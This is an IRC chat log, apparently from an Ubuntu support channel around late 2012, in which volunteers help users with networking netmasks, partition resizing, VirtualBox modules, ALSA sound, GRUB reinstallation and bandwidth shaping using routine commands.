[09:34] <wodesuck> maybe you should use the alsa daemon
[09:35] <user1234234> lets tackle this from another angle...How would i automatically start leafpad when my desktop starts?
[09:35] <jasper__22> Could somebody help me to setup network ?
[09:35] <almoxarife> user1234234: lets not
[09:35] <user1234234> ;lets substitute leafpad with alsactl restore 0
[09:37] <Lachezar> !lxsession
[09:37] <Lachezar> user1234234: Read: http://wiki.lxde.org/en/LXSession

[09:42] <Eagleman> aha sorry
[09:43] <morfeo_81> someone can help me i have a problem with crontab
[09:43] <piggy_> can i adjust the size of a partition so it's larger?
[09:43] <piggy_> what tool should i use?
[09:43] <auronandace> piggy_: gparted

[09:45] <jasper__22> almoxarife: I have 2 computers with 2 network cards each
[09:46] <jasper__22> almoxarife: I need to setup 2 different networks on each computer
[09:46] <morfeo_81> This is the error No MTA installed, discarding output)
[09:46] <almoxarife> jasper__22: too complicated for me
[09:47] <jasper__22> ok....
[09:47] <llutz> morfeo_81: add MAILTO=''   at the top of your crontab
[09:47] <jasper__22> anyone could help me with netmask ? I guess I setup network right but netmask is wrong
[09:48] <jasper__22> If I have internal network with address 10.0.0.x what netmask should be used for it ?
[09:48] <llutz> jasper__22: 10.0.0.0/24 (255.255.255.0)
[09:48] <jasper__22> and different network will use addresses such as 172.0.0.x   <- what netmask for this on the same computer ?
[09:50] <jasper__22> llutz: and for 10.0.x.x  ?  is 255.255.0.0  ?
[09:50] <evilmoo> how many machines will you have on each network?
[09:50] <llutz> jasper__22: /16 (255.255.0.0)
[09:51] <jasper__22> each computer connected to 'outher'  (local network) with 10.0.0.x  net
[09:51] <jasper__22> I want 2 computer be connected to each other with differnet network
[09:51] <jasper__22> for example 172.0.0.1 and 172.0.0.2
[09:51] <piggy_> auronandace: thanks, but the option for 'resizing' is ghosted out, any ideas?
[09:52] <evilmoo> i would just use 255.255.255.0 if they're just private local networks
[09:52] <auronandace> piggy_: depends entirely on your layout and what is mounted
[09:52] <MonkeyDust> jasper__22  some 460 people in ##networking    (double #)
[09:52] <evilmoo> but you shouldn't use 172.0.0.x for private networks
[09:52] <auronandace> piggy_: screenshots to the rescue!
[09:52] <jasper__22> evilmoo: why not ?
[09:52] <piggy_> auronandace: http://cl.ly/image/061n1J1J0q2Q
[09:52] <llutz> jasper__22: use 172.16.0.0
[09:52] <piggy_> auronandace: i want to increase sda1
[09:53] <jasper__22> llutz: and what the netmask for it ?
[09:53] <evilmoo> jasper: 172.0.0.x belongs to AT&T, see http://whois.arin.net/rest/nets;q=172.0.0.1?showDetails=true&showARIN=false&ext=netref2
[09:53] <llutz> jasper__22: /16 (255.255.0.0)
[09:53] <jasper__22> if I already have 10.0.0.x with netmask 255.255.255.0
[09:53] <auronandace> piggy_: it is mounted, you can't resize something that is mounted
[09:53] <evilmoo> use 172.16.0.x 255.255.255.0
[09:53] <jasper__22> evilmoo: ooopppsss...
[09:53] <jasper__22> evilmoo: thanks, I'll try
[09:53] <piggy_> auronandace: ah, but if it was unmounted how would i resize it, and could i? or would that little partition (between sda1 and the unallocated) get in teh way?
[09:54] <auronandace> piggy_: it's always recommended to use gparted from a live environment
[09:54] <piggy_> auronandace: ah ok, this is all VM stuff, what's the best way to do it?
[09:54] <piggy_> auronandace: virtualbox
[09:55] <auronandace> piggy_: turn off the vm, make sure you configure it to boot a livecd and turn it back on, it should boot the cd rather than your vm's harddisk
[09:55] <piggy_> auronandace: thx
[09:56] <auronandace> piggy_: yes, you'd need to move the partition thats in the way too
[09:56] <morfeo_81> thanks
[09:56] <auronandace> piggy_: any reason you got swap in an extended partition?
[09:57] <piggy_> auronandace: hehe, no idea
[09:57] <jasper__22> hmmm.. nope... still 'network unreachable' error
[09:57] <piggy_> auronandace: but if gparted needs to be installed via apt-get, how can i do it via a livecd?
[09:58] <piggy_> i thoguth livecd doenst let me install stuff?
[09:58] <jasper__22> and 'route -n' does not even have a default gateway
[09:58] <xylon> how to fix gnome unresolved dependencies issue?
[09:58] <jasper__22> It seems all the packets goes to 'outer' LAN network
[09:59] <auronandace> piggy_: gparted should be on the livecd
[09:59] <almoxarife> piggy_: you want the 'iso' for gparted, no reason to apt-get
[09:59] <auronandace> piggy_: i prefer to use partedmagic for livecd partitioning
[10:00] <piggy_> auronandace: ah ok, does that come with ubuntu too?
[10:01] <auronandace> piggy_: i think so
[10:05] <Lachezar> RE. Moving ~/.fonts to ~/.config/fonts does not work :(
[10:10] <MDesign> can anyone help me?
[10:11] <MDesign> please help me with ubuntu ?
[10:12] <antonio_> Does anyone here use Handbrake for videos?
[10:12] <jasper22> MDesign:  ???
[10:12] <auronandace> antonio_: tried openshot?
[10:12] <MonkeyDust> MDesign  start with a question
[10:12] <jasper22> if in my 2 network cards $> arp -v     doesn't show entries for second network card - does it mean that second card is not connected ?
[10:13] <jasper22> I mean 'arp -v'  show entries and all of them belong to eth0  - no entries for eth1
[10:13] <Lachezar> jasper22: Not generally. If there is no traffic on the second card, there are no ARP elements.
[10:13] <jasper22> does it mean that eth1 is not connected ?
[10:13] <hamidi> does anyone know how to setup samba over "host-only adapter" in virtualbox?
[10:13] <antonio_> auronandace: I use openshot also
[10:13] <MDesign> well

[10:24] <jasper22> 1 and 2
[10:25] <jasper22> one of them shows:  ? (172.16.0.1) at <incomplete> on eth1
[10:25] <jasper22> another one shows only entries for eth0 and not for eth1
[10:26] <Lachezar> jasper22: Are you sure the two LANs are not connected to the same switch?
[10:26] <jasper22> switch ?
[10:26] <jasper22> there's no swith
[10:26] <Lachezar> jasper22: Cross-Cables?
[10:26] <jasper22> they connected directly to each other
[10:27] <Lachezar> jasper22: Well... As long as those are real CROSS cables it _should_ work...
[10:27] <jasper22> this is my last guess
[10:27] <jasper22> Lachezar: it's not the same cable that I plug into the router isn't it ?
[10:27] <llutz> jasper22: "sudo ethtool eth1 | grep Link"
[10:29] <llutz> jasper22: modern NICs don't need cross-cables
[10:29] <jasper22> llutz: Link detected: Yes
[10:29] <llutz> jasper22:  Link partner advertised auto-negotiation: Yes ?
[10:30] <jasper22> llutz: one of the cards have this line another is shown only (!) Link detected: yes
[10:32] <sinf> 6
[10:33] <jasper22> llutz: yes.. without 'grep' I see in settings that both cards support 'advertised auto-negotiation'

[10:34] <Lachezar> jasper22: I'm having problems connecting my two laptops (Lenovo Thinkpads) with a straight cable, and I was forced to use a crossed cable.
[10:34] <MonkeyDust> Ububegin  yeah, target no longer exists
[10:35] <jasper22> llutz: one of that cards has in 'Port' settings listed 'Twised Pair' and another one in 'Port: MII'       does it matter ?

[10:36] <Lachezar> Ububegin: sg is probably a pool of servers... Maybe you can just try again.
[10:36] <Ububegin> Lachezar: hmm, I think its been down for a while
[10:36] <MonkeyDust> Ububegin  try sudo apt-get install octave
[10:37] <llutz> jasper22: im not sure but i think it doesn't matter
[10:38] <Ububegin> MonkeyDust: same error... I cant connect to the server
[10:38] <MonkeyDust> Ububegin  then first type sudo apt-get update
[10:39] <Ububegin> MonkeyDust: same error again
[10:39] <Lachezar> Ububegin: seems sg.archive.ubuntu.com is just one server, maybe you can switch to another country using the Control Centre.
[10:40] <MonkeyDust> Ububegin  then you should start from the beginning, what have you tried before you came here
[10:41] <Lachezar> jasper22: Do you have a crossed cable to try with?

[11:12] <MonkeyDust> doomsday  when someone has the answer, they will probably help you
[11:13] <adnan360> 12.10 live usb does not work!!! shows black screen
[11:13] <MonkeyDust> piggy_  guess uuid is not really needed, sda3 will do -- but type blkid ro find out what the uuid is
[11:13] <leo234> ciao
[11:13] <leo234> !list
[11:14] <MonkeyDust> the listalians are awake

[11:28] <piggy_> MonkeyDust: i'll tr, thanks
[11:29] <gordonjcp> doomsday: run "sudo fdisk -l /dev/sda" and pastebin the last dozen or so lines from dmesg
[11:29] <piggy_> MonkeyDust: still not working:
[11:29] <gordonjcp> that should attempt to list all the partitions, and dmesg will show the actual errors

[11:29] <doomsday> tried that aswell didnt work
[11:30] <gordonjcp> doomsday: no, you didn't
[11:30] <gordonjcp> doomsday: I can tell you didn't, because I'm not looking at a pastebin link with the last dozen lines of dmesg in it
[11:30] <doomsday> thats because their was no messages from the terminal
[11:31] <doomsday> wait what
[11:31] <doomsday> dmesg
[11:32] <doomsday> is it like a log or ssomthing
[11:32] <maskboss> hi ppl! i'm really new to this, i installed ubuntu for the first time, and nothing appeared on my desktop, someone here helped me to install xfce, and it worked. now i have another problem. sometimes my mouse pointer just desappears! can someone help me?
[11:33] <gordonjcp> doomsday: type "dmesg" in a terminal

[11:35] <doomsday> huh nevermind
[11:35] <doomsday> as i said i/o error

[11:39] <palasso> I'm on Ubuntu 12.10 and installed virtualbox-qt but when I try to start up a VM it shows me two windows with two error messages.  http://paste.ubuntu.com/1388817/ Can anyone plz help?
[11:39] <doomsday> so much for a media pc
[11:39] <maskboss> gordonjcp: actually i don't mind get back into ubuntu! somone here gave me XFCE as a solution... i can get back to ubuntu if u tell me how..
[11:39] <doomsday> i hate being a tecch demon
[11:39] <doomsday> everything seems to die with me
[11:39] <gordonjcp> maskboss: when you log in, if you click on the little "gear" symbol beside your name and password it'll let you pick which DE you use
[11:39] <gordonjcp> doomsday: an 80GB drive is probably quite old now
[11:40] <OerHeks> maxtor is acquired by Seagate Technology in 2006, so that drive is very old.
[11:40] <maskboss> gordonjcp: since i have no mouse.. i'll give it a try.. lol :P thanks

[11:40] <lhavelund> !hardware > user1234234
[11:40] <gordonjcp> user1234234: NVidia is about the only graphics chipset fully supported in Linux
[11:41] <user1234234> yes i've had good experience with nvidia.
[11:41] <doomsday> its weird actually cos ive installed ubuntu on a 40gb ide drive
[11:41] <doomsday> and thats fine
[11:41] <gordonjcp> yeah, it just depends on the drive, how it's been treated etc
[11:41] <doomsday> i suppose
[11:41] <doomsday> well im finished here
[11:42] <doomsday> if you cant help
[11:42] <Darkstar1> Anyone know how one can download the latest sun jdk on a remote server
[11:42] <maskboss> gordonjcp: ok, loggin out gave-me the mouse pointer back! now i'm on ubuntu, WITH mouse, but with the same problem before... just the wallpaper and mouse pointer showin..
[11:42] <doomsday> thanx for trying
[11:42] <Darkstar1> ?
[11:42] <palasso> Can anyone help?
[11:43] <BluesKaj> palasso, just ask your question
[11:43] <palasso> I'm on Ubuntu 12.10 and installed virtualbox-qt but when I try to start up a VM it shows me two windows with two error messages.  http://paste.ubuntu.com/1388817/
[11:44] <Darkstar1> anyone?
[11:44] <maskboss> actually i can access the terminal. nothing else :/
[11:44] <FauxFaux> palasso: sudo dpkg-reconfigure dkms # probably gives errors about lack of headers packages?  Install them.
[11:45] <BluesKaj> palasso, first of all , do you have virtualization enabled in the BIOS
[11:46] <palasso> Before a couple of weeks I was on Linux Mint 13 and it worked fine and before three months I was on Kubuntu 12.04 and it worked fine also.
[11:46] <maskboss> ppl i'm new on this, i'm on ubuntu and only wallpaper and mouse pointer appears...
[11:46] <FauxFaux> Then you upgraded your kernel, ignored the errors, and it broke.  Big suprise.
[11:46] <palasso> I haven't ever searched for a BIOS setting for virtualization
[11:47] <palasso> I tried the command FauxFaux but didn't fix the problem
[11:47] <palasso> FauxFaux I did a clean install at all times
[11:48] <palasso> Also I don't get from anywhere report of linux headers missing :/
[11:49] <BluesKaj> palasso, did you follow the instructions and reinstall the OS kernel
[11:50] <SpecialEd> Hey guys, getting this error message appearing in my /var/mail/root PHP Warning:  Module 'apc' already loaded in Unknown on line 0  this message appears each time CRON runs.  I've confirmed that /etc/php5/cli/php.ini & /etc/php5/fpm/php.ini do not have any references to apc & /etc/php5/apache2/php.ini has the following references (lines separated by pipes): apc.enabled = 1 | apc.shm_segments
[11:50] <SpecialEd> = 1 | apc.shm_size = 100M | apc.filters = "-/usr/share/phpmyadmin/.*"
[11:50] <palasso> I didn't reinstall any OS kernel. I just did a clean install of Ubuntu 12.10 and then installed apps (one of them is VirtualBox) and then noticed VirtualBox wasn't working
[11:50] <maskboss> i'm on ubuntu and only wallpaper and mouse pointer appears... can someone help me?
[11:52] <palasso> Also there isn't any vboxdrv on /etc/init.d/ that the error message mentions
[11:52] <OerHeks> palasso, try "sudo modprobe vboxdrv" and start vbox again
[11:53] <palasso> I tried this since I found it on Ubuntu Forums but didn't work
[11:53] <palasso> When I try the command OerHeks it says 'FATAL: Module vboxdrv not found.'
[11:56] <MonkeyDust> palasso  this command worked for me, when vbox wouldnt start
[11:56] <MonkeyDust> sudo modprobe vboxdrv;sudo modprobe vboxnetflt
[11:56] <subdesign> any idea why i cant kill wine in ubuntu?
[11:57] <cjae> could someone please help me connect to my samba share (NAS), the samba share is setup and I can see and access it from my file broswer. I cannot get mount.cifs to mount it correctly under /mnt on this box
[11:57] <palasso> Doesn't work MonkeyDust on me :/
[11:57] <maskboss> how do i loggout ubuntu in the terminal?
[11:58] <force> moneydust,find the pid of wine and kill
[11:58] <pLr> maskboss ctrl+d
[11:58] <palasso> I don't know if it correlates but I noticed that on 'Additional Drivers' tab on 'Software Sources' it says "No proprietary drivers are in use' and it doesn't show up any options for proprietary drivers (I have an AMD GPU)
[11:58] <palasso> And also fglrx isn't installed as I can see from Synaptic
[11:59] <palasso> I guess VirtualBox is using the kernel and the drivers somehow. Could it be a more general bug that affects 'Additional Drivers' too?
[12:00] <BluesKaj> subdesign, if you are runnining windows .exe files then wine file association autolinks to theoe files
[12:00] <BluesKaj> those files
[12:02] <thanigai> after start a dial up init.d  service, ubuntu dosnt shutdown. please help me

[12:45] <biopyte> hi, i have a problem on low bandwith internet connections. one of my applications needs a constant minimum bandwith otherwise it will break down and i have to restart, what is very annoying. is there a tool which can assign guranteed bandwith to specific applications? kind of 'bandwith-nice'?
[12:49] <fontenay_> hello, someone can help me with busybox and initframfs error on my office computeur (pleeease)
[12:50] <vbgunz> biopyte: I really don't know what application can do that but if your router or modem supports Qos, maybe that can be something to look into?
[12:51] <vbgunz> I'm not saying it will work but I just believe it could be something that may be worth looking into
[12:51] <lucido> My AR9285 based wifi card keeps disconnecting if I am more than 3 meters away from the access point, why is that?
[12:51] <gordonjcp> well if you need to shape bandwidth, doing it on the router is most sensible
[12:51] <llutz_> biopyte: you might want to read about "tc" traffic control
[12:52] <biopyte> vbgunz, ok thanks
[12:53] <llutz_> !info iproute | biopyte tc comes with this package
[12:53] <biopyte> i dont have a router, its just a mobile broadband usbstick ... i check out tc, thx
[12:55] <biopyte> tc looks like it can do what i want, but syntax is rather difficult ... i'll see
[12:56] <llutz_> biopyte: isn't latency more the problem than bandwidth on mobile-broadband?
[12:56] <ohyran333> Hi does anyone one knows alternative ways to get a laptop screen to be recognized? I have a Asus Zenbook that boots to black screen but by connecting an external monitor I can still use it.
[12:57] <ohyran333> nomodeset or removing quiet splast in grub doesn't work btw.
[12:57] <ohyran333> *splash
[12:57] <biopyte> llutz, i dont exactly know ... the problem is like this: i have my prefered app on a low bandwith connection and everything is fine. once i start browsing too much with firefox it will break down.
[12:57] <jackbrownhf>  Hello is anyone available to help me installing Windows 7 + Linux in a GPT UEFI Laptop ?
[12:57] <krababbel> biopyte: you can't control download reliably
[12:57] <biopyte> llutz, on high bandwith its no issue
[12:58] <kruxer> How can i change the boot partition? (ubuntu 12.04)
[12:58] <biopyte> krababbel: i thought there must be something like "nice" for bandwith (instead cpu)
[12:59] <krababbel> biopyte: you can control upload, and prioritise packets created by your preferred application, but that only works up to a point, but better than nothing I think
[12:59] <biopyte> well, tc might be the right thing
[12:59] <lucido> I need some halp with my ath9k wifi card, it keeps asking for the ap password if I'm not right next to the ap
[12:59] <kruxer> It's currently booting from Windows partition, I wanna change it to the ubuntu, actually grub.
[12:59] <gordonjcp> biopyte: running that on your local machine won't really work
[12:59] <gordonjcp> biopyte: not if you share the connection
[12:59] <krababbel> biopyte: IP doesn't work like that. You'd have to have control over the entire network path to effectively allocate bandwith, like in a LAN
[13:00] <biopyte> ok
[13:00] <biopyte> in case latency and not bandwith is the problem ... would there be a solution? probably not.
[13:00] <ohyran333> kruxer: Can't you set that in Bios?
[13:01] <kruxer> ohyran333, didn't try that. is it possible?
[13:02] <biopyte> krababbel, i understand
[13:02] <ohyran333> Well you can set boot order in Bios
[13:02] <krababbel> biopyte: the same I already suggested, upload QoS could reduce jitter, so latency would vary less. Of course you cannot lower your real latency to a server by yourself
[13:02] <ohyran333> (Im in NOOOOO way an expert at this... but Ive been fiddling about in bios the last days)
[13:02] <biopyte> alright
[13:03] <krababbel> biopyte: I have such a setup, and unless I open more than 10 tabs at once, it works ok, lowers the jitter a bit
[13:03] <kruxer> ohyran333, check that in a few moment, letting you know the result
[13:03] <kruxer> ohyran333, tnx
[13:04] <biopyte> krababbel, but QoS is for routers not for mobile?!
[13:05] <krababbel> biopyte: true, I believe wireless is different. I guess LTE would be the only way to have packets over wireless networks or something I read. I don't use mobile internet here.
[13:06] <qwedas> asd
[13:06] <biopyte> krababbel, i thik this is getting too difficult, thx anyway
[13:06] <krababbel> biopyte: but still, if a user is using a lot of bandwidth, a local router could maybe reduce the effect
[13:06] <kruxer> didn't worker the bios change!
[13:07] <krababbel> biopyte: it is a bit involved, and the router has to support it
[13:07] <biopyte> ok
[13:07] <krababbel> :)
[13:07] <kruxer> How can I change the booting partition, my current boot partition is windows, wanna change it to grub...!
[13:08] <kruxer> How can i change to boot partition?
[13:08] <biopyte> krababbel, dont want to get too involved ... was thinking of something like "bandwith-nice firefox 0"   ;)
[13:08] <krababbel> kruxer, grub is a bootloader, and it is probably not on a partition on your pc, but in the MBR of the harddrive
[13:09] <krababbel> biopyte: there is a program you could try I guess
[13:09] <chris__> Hi there just installed 12.04 and I would like to have the option of having the gnome interface I know that someone mentioned this maybe possible could anyone put me i  the right direction?
[13:09] <raven> xubuntu 12.10 not maximized windows hide behind panels, any ideas? http://picpaste.com/b580abeeea2bff2142dc3619eef7dedd.jpg
[13:09] <biopyte> what program?
[13:10] <krababbel> biopyte: wondershaper or maybe trickle do automatic tc setup
[13:10] <BluesKaj> kruxer , o reinstall grub to the ubuntu drive , boot into ubuntu live media (cd or usb), find the ubuntu drive designation with sudo fdisk -l , then run: 'sudo grub-install /dev/sdX , X being number assigned to the ubuntu drive/device.
[13:13] <biopyte> ha, ha ... wondershaper
[13:13] <biopyte> only 99.95$  ... :)
[13:13] <biopyte> ok, thx, i'll google these

[13:17] <izx> OerHeks: We are in the process of upgrading our software to support newer version of ubuntu, till that we are supposed to use only ubuntu 10.10.. Any way to install it via CD ??
[13:18] <OerHeks> izx sure you can install it, but you won't get updates.
[13:18] <biopyte> krababbel, trickle looks promising, thanks for that one ... i check it out later
[13:19] <izx> OerHeks: No Problem.. But we were not able to install it using CD Drive..
[13:19] <biopyte> seems to be exactly what i have been looking for     http://wiki.ubuntuusers.de/Trickle
[13:19] <OerHeks> izx why not?
[13:20] <krababbel> biopyte: no problem, just remember it is all an IP hack basically, you are trying to limit incoming packets, so the buffer of the ISP doesn't get full, causing dropouts. On wireless it might be even different still.
[13:20] <biopyte> i see ... sorry, wrong (non-english) link
[13:22] <krababbel> biopyte: and the only way to somehow limit incoming packets, because it isn't directly possible and out of control for you, is to make the other side, the server, think you cannot cope with more packets, so the sender slows down. This only works with one server, that's why it is unreliable when you open many tabs at once.
[13:23] <krababbel> biopyte: unless you limit you download speed to 10% or somethin per connection ;)
[13:23] <biopyte> got it
[13:23] <krababbel> just a rough overview :)
[13:24] <stefan877> hi, If an ubuntu system was not correctly shutted down, grub shows the GRUB-Menu without timeout
[13:24] <TTilus> what's that guid or hash-digest like string in parenthesis after every locally synchronized "Shared with me" folder name, names look like "The real name (15d69f8a-9207-43d5-b009-ff58e231002e)"
[13:24] <stefan877> how to let GRUB boot without pressing enter?
[13:24] <stefan877> in such case?
[13:24] <stefan877> Thanks.
[13:25] <Justaguy> Good morning, win inst 12.10,, blank desktop
[13:25] <izx> OerHeks: I guess due to graphics card issue, we were not able to install ubuntu 10.10 on Dell Optiplex 390.. Any solution ??
[13:25] <Justaguy> Had them then after a few reboots they gone
[13:26] <OerHeks> izx what videocard ?
[13:26] <izx> OerHeks: Intel
[13:29] <media-centre> hey does anyoine know how to fix the sound in ubuntu
[13:29] <Justaguy> Busy room any way to follow ? That you post for replies
[13:30] <media-centre> ive tried alsamixer and the sound settings
[13:30] <gordonjcp> media-centre: what's wrong with it?
[13:31] <usr13> izx: Why would an Intel video card stop you from installing Ubuntu?
[13:31] <media-centre> it aint playing out
[13:32] <usr13> media-centre: Let's do a test:  play /usr/share/sounds/alsa/*
[13:32] <BluesKaj> media-centre, which soundcard , you can check alsamixer top left - "chip"
[13:32] <usr13> media-centre: What does that say?
[13:33] <zlude> hello! i'm using a ubuntu server connected to a switch with a port mirror. So i wanna know what is the best way to monitor this mirror port with ubuntu.
[13:33] <media-centre> uh ok how do i do that
[13:33] <izx> usr13: I thing its a bug with ubuntu 10.10
[13:33] <BluesKaj> !who | media-centre
[13:33] <usr13> media-centre: Open a terminal, type in  play /usr/share/sounds/alsa/*  and hit enter.
[13:34] <usr13> izx: Use another version, (newer).
[13:34] <usr13> izx: Or, 10.04.4 LTS
[13:34] <media-centre> it comes up with the following
[13:34] <media-centre> The program 'play' is currently not installed.  You can install it by typing:
[13:34] <media-centre> sudo apt-get install sox
[13:35] <usr13> media-centre: sudo apt-get install sox   #And hit enter.
[13:35] <media-centre> ill give that a try now
[13:35] <izx> usr13: Where can i get the link for downloading 10.04.4 LTS
[13:36] <gordonjcp> izx: google ;-)
[13:36] <gordonjcp> izx: there's not much point though, since it's only around for a couple more months
[13:36] <usr13> izx: http://releases.ubuntu.com/lucid/
[13:36] <BluesKaj> izx, why 10.04 , whynot 12,04 LTS ?
[13:37] <usr13> BluesKaj: 10.04 IS LTS
[13:37] <gordonjcp> usr13: it's also eol
[13:37] <gordonjcp> (nearly)
[13:38] <BluesKaj> usr13, yes but like gordonjcp said , it's not supported as long and it's getting old
[13:38] <usr13> gordonjcp: No it isn't.  (It was his choice.)
[13:38] <izx> BluesKaj: 12.04 doesn't have gnome-classic, thats the only reason..
[13:38] <usr13> BluesKaj: It was his choice.
[13:38] <micjan02> i know that i can paste from my selection-clipboard by using shift-insert in terminal. how do i paste it in other apps? (the keyboard shortcut for middle-click)
[13:39] <ubuntu__> judgesultan
[13:39] <usr13> izx: Have you tried xfce?
[13:39] <xangua> izx: if by gnome-classic you mean gnome panel, it has....but gnome3.8 will not ;)
[13:39] <ubuntu__> hai
[13:39] <BluesKaj> usr13, well , merely making a suggestion so that he's aware
[13:39] <ubuntu__> exit
[13:40] <usr13> BluesKaj: Yes, you are.  I'm sorry.  I should let izx answer.
[13:40] <usr13> ... just got carried away correcting gordonjcp ...
[13:40] <izx> xangua: how abt 12.10? Does it have gnome-classic ??
[13:40] <usr13> izx: Have you tried xfce?
[13:40] <gordonjcp> izx: "gnome-classic"?
[13:41] <media-centre> right its playing
[13:41] <unique_> Hello. I have a problem with my wlan. He remains connected to the router. but in the browser I have to reload the page five times before establishing a connection. If I download,f.e. ubuntu  the download stops at some point and continues after some minutes
[13:41] <gordonjcp> izx: if you mean "Gnome 2", then no.  It's dead.
[13:41] <media-centre> but its really quiet
[13:41] <media-centre> im gonna try alsa mmixer again
[13:41] <usr13> media-centre: alsamixer  #and see what is turned down. PCM maybe?
[13:43] <Guest68186> ok here is my letter to ubuntu
[13:43] <izx> gordonjcp: Yes gnome 2

[13:47] <unique_> Hello. I have a problem with my wlan. He remains connected to the router. but in the browser I have to reload the page five times before establishing a connection. If I download,f.e. ubuntu  the download stops at some point and continues after some minutes
[13:47] <gordonjcp> izx: it's no longer developed
[13:47] <media-centre> ok i cant seem to enable switches on it
[13:48] <gordonjcp> izx: there is a fork of it, but I don't know how good it is
[13:48] <media-centre> does annyone know how to enable buttons on alsa mixer
[13:51] <jackbrownhf> Is there anyone experienced with GPT Hard Drive and UEFI BOOT ?
[13:52] <blaz_> hi guys.... i have a problem... namely when i ctrl+alt+direction to a desktop which has a fullscreen terminal I can still se the unity launcher and taskbar
[13:52] <blaz_> tough sometimes they disappear on their own sometimes not
[13:53] <blaz_> but they do never work
[13:53] <swordsmanz> <3 synaptic
[13:53] <BluesKaj> media-centre, use the arrow keys < > to navigate and up and down keys increase or decrease the volume , any ctrls with MM means muted , use the M key to un mute or mute
[13:53] <media-centre> ok
[13:54] <alanbananas> Hey guys, ive got a strange bug going on that I cant figure out, I had sound working before and then called "amixer set Master toggle" and the sound muted as expected, however, when I did "amixer set Master toggle" again, the sound didn't come back on again, and hasn't recovered even after a reboot?
[13:54] <dr_willis_> some sliders can be offscreen untill you arrow over to the right also media-centre
[13:55] <BluesKaj> media-centre, and if you are speaking to someone pls use their nick so we know who you are talking to
[13:55] <alanbananas> this is for the Headphones, alsamixer says that it is the headphones are muted, if I unmute them with m, then it goes to 00 instead of MM, but wont let me up the volume?
[13:56] <BluesKaj> alanbananas, use the up down keys for volume
[13:56] <alanbananas> It doesn't let me on the Headphones channel, only on the Master (which doesnt change the Headphones)

[13:57] <jbwiv> hi guys. I've just installed 12.10,  and things look good except for animations. I have three monitors powered by a Radeon 6700, and even with the proprietary drivers, window animations (fades, minimizations, etc) are very sluggish. Any ideas what needed to be tweaked to fix?
[13:57] <alanbananas> it also doesnt have anything like 0<>0 under it like the master does (master has 100<>100)
[13:59] <blaz_> anyone?
[13:59] <housry23> Does anyone know how to get a sdcard reader to work in Ubuntu12.10 64-bit?
[13:59] <housry23> Acer V3-551 laptop
[14:00] <BluesKaj> alanbananas,do you have any audio at all ?
[14:00] <nishttal2> hello ppl.. this morning i found that one of the servers had the file system as read only.. how can that change without a reboot?
[14:01] <nishttal2> its running Ubuntu 12.04 LTS
[14:01] <gordonjcp> nishttal2: it probably can't
[14:01] <gordonjcp> what's its uptime?
[14:01] <jbwiv> nishttal2, mount -o rw /filesystem
[14:01] <alanbananas> BluesKaj, I don't have speakers to plug in, but no audio through Headphones
[14:01] <nishttal2> gordonjcp: where should i check?
[14:01] <jbwiv> but I may be thinking of bsd
[14:01] <alanbananas> But it was working before I did amixer set Master toggle
[14:01] <BluesKaj> alanbananas, laptop?
[14:01] <gordonjcp> nishttal2: type "uptime" in a terminal
[14:01] <nishttal2> jbwiv: gordonjcp i rebooted and its fine now.. but how can this happen?
[14:01] <alanbananas> BluesKaj: Desktop
[14:01] <michalwan> join #linux-program
[14:02] <raven> xubuntu 12.10 not maximized windows hide behind panels, any ideas? http://picpaste.com/b580abeeea2bff2142dc3619eef7dedd.jpg
[14:02] <nishttal2> gordonjcp: now its saying 22 mins as i rebooted
[14:02] <gordonjcp> nishttal2: ah
[14:02] <BluesKaj> alanbananas, turn the volume down and try the Hps on the speaker out , to see if there's any audio at all
[14:03] <nishttal2> gordonjcp: is there a different log somewhere?
[14:03] <gordonjcp> yeah, in /var/log
[14:03] <gordonjcp> you either want messages or syslog
[14:03] <alanbananas> BluesKaj: Sorry how do I do that?
[14:04] <alanbananas> BluesKaj: I can't find a speaker out plug on my desktop
[14:04] <BluesKaj> alanbananas, usually on audio out on the back of the pc where speakers would normally be connected
[14:04] <alanbananas> BluesKaj: Only headphones and mic
[14:05] <nishttal2> gordonjcp: http://fpaste.org/mQpW/ does this mean the problem?
[14:05] <alanbananas> BluesKaj: Oh maybe not, ive plugged it into what I think is speaker out
[14:05] <gordonjcp> nishttal2: could be
[14:05] <Tecan> 12.10 great success :)
[14:06] <alanbananas> BluesKaj: Is this line or what?
[14:06] <Wiz_KeeD> hey guys
[14:06] <alanbananas> How do I tell amixer which to use as master?
[14:06] <Wiz_KeeD> can somebody please tell me how i can rename my user in ubuntu server 12.04 lts?
[14:07] <Wiz_KeeD> please?
[14:07] <BluesKaj> alanbananas, speaker output is the green one
[14:08] <nishttal2> gordonjcp: could this happen again and make the file-system read only
[14:08] <alanbananas> BluesKaj: Yep its plugged in
[14:08] <alanbananas> No sound but how do I tell it what is master?
[14:08] <Wiz_KeeD> can anyone lend a helping hand?
[14:09] <Dr_Willis> Wiz_KeeD:  i tend to make a new user, then move the old users files to the new users home and chown them
[14:09] <Dr_Willis> then i make SURE the new user has proper sudo rights if needed. ;)
[14:09] <BluesKaj> alanbananas, the master is probly marked PCM in alsamixer
[14:10] <Wiz_KeeD> hmm, isn't that a bit overkill Dr_Willis ?
[14:10] <Wiz_KeeD> isn't there a simple rename command?
[14:10] <Dr_Willis> Wiz_KeeD:  not that ive ever noticed
[14:10] <Wiz_KeeD> i'm pretty scared to do this by myself on a production server
[14:10] <Wiz_KeeD> who knows what i might mess up
[14:10] <Dr_Willis> safest way is to just make a new user then.
[14:10] <alanbananas> BluesKaj: Ummm im not exactly sure what im doing...
[14:11] <Wiz_KeeD> can you show me how?
[14:11] <Dr_Willis> sudo adduser billgates
[14:11] <Dr_Willis> ;)
[14:11] <alanbananas> BluesKaj: So im plugged into the green thing (speaker out) but no sound yet, what should I try changing in amixer?
[14:11] <Dr_Willis> why is the users name that imporntant? whats the reason for all this changeing
[14:11] <alanbananas> BluesKaj: I assume I need to tell it that the speaker out is the new master, or will it just work that out? (if so there is no sound)
[14:11] <Wiz_KeeD> heh
[14:11] <Wiz_KeeD> it's the same name on my localhost and i'd like to avoid confusion
[14:12] <Wiz_KeeD> and it's also the client's server i think it's only right the user should be the name of the company in respect to the idea that someone else might take over my doing
[14:12] <Dr_Willis> http://askubuntu.com/questions/205448/change-user-name
[14:12] <uictamale> Hey everyone.. I'm having a strange issue where my root partition keeps reporting as being 'full' when a simple count of the sizes of all my folders and files shows otherwise.  lsof identifies a huge ~/.xsession-errors open file handle, but there's no file there to be removed or cleaned out.  What can I do?
[14:13] <Dr_Willis> this guide mentions the usermod command also...
[14:13] <BluesKaj> alanbananas, the speaker out ctrl should be at 80% or so, if you have one , and the master about the same , you can't change the master because it controls the final volume for all ctrls
[14:13] <Dr_Willis> but the guide seems.. suspect.. because the first thing it wants you to do is unlock the root account. but that may be to avoide looseing sudo rights.
